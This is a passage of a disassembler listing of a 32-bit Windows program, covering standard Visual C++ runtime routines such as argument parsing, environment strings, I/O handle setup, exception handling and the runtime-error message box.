		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410


loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D


loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------


loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]


loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]


loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------


loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi


loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0


loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 25F032Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------


loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565


loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6


loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509


loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB


loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx


loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]


loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		call	near ptr 25F05B8h
		nop
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6


loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 25F032Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6


loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A


loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580


loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch


loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		call	near ptr 25F05DDh
		nop
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax


loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx


loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_48B340, esi
		mov	dword_48B440, 20h
		lea	eax, [esi+100h]


loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2830000h
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax


loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344


loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------


loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_48B440


loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF


loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 25E0761h
		test	eax, eax
		jz	short loc_41F6E6


loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9


loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx


loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------


loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 25F0000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 25E0761h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741


loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h


loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_48B440
		nop
		call	near ptr 25F0256h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_439594, 1
		jnz	short locret_41F884


loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax


loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28


loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898


loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_439594, 1
		jz	loc_41F9AF


loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h


loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------


loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 25F0000h
		nop
		push	eax
		call	near ptr 2630000h
		nop


loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------


loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------


loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi


loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_48B320, eax


loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx


loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8


loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8


loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9


loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_48A054, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_48A0B8
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61


loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh


loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------


loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax


loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_48A1DC, eax


loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_48A0A8


loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25E0000h
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax


loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2620000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2620000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax


loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340


loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]


loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B


loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------


loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
